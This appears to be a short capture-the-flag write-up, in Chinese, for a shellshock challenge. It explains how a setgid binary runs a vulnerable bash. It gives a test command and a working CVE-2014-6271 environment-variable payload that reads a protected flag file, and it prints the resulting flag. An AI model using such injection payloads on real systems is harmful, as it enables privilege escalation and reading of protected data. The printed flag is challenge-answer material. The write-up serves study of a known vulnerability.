- source code: shellshock.c
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
- 檔案權限
shellshock@ubuntu:~$ ls -l
total 960
-r-xr-xr-x 1 root shellshock 959120 Oct 12 2014 bash
-r--r----- 1 root shellshock_pwn 47 Oct 12 2014 flag
-r-xr-sr-x 1 root shellshock_pwn 8547 Oct 12 2014 shellshock
-r--r--r-- 1 root root 188 Oct 12 2014 shellshock.c
- 其中
shellshock
有設定group setuid(-r-xr-sr-x),而這個group則是shellshock_pwn
- 我們可以執行
shellshock
,而shellshock
又執行了/home/shellshock/bash
,因為有設定setuid關係,所以是shellshock
的擁有者shellshock_pwn
去執行/home/shellshock/bash
,所以執行的bash是以shellshock_pwn
的身份去執行,接著就可以利用shellshock漏洞來查看flag
- 測試是否有shellshock弱點(CVE-2014-6271):
shellshock@ubuntu:~$ env x='() { :;}; echo vulnerable' ./bash -c "echo this is a test"
- 利用shellshock:
env x='() { :;}; /bin/cat flag' ./shellshock
shellshock@ubuntu:~$ env x='() { :;}; /bin/cat flag' ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!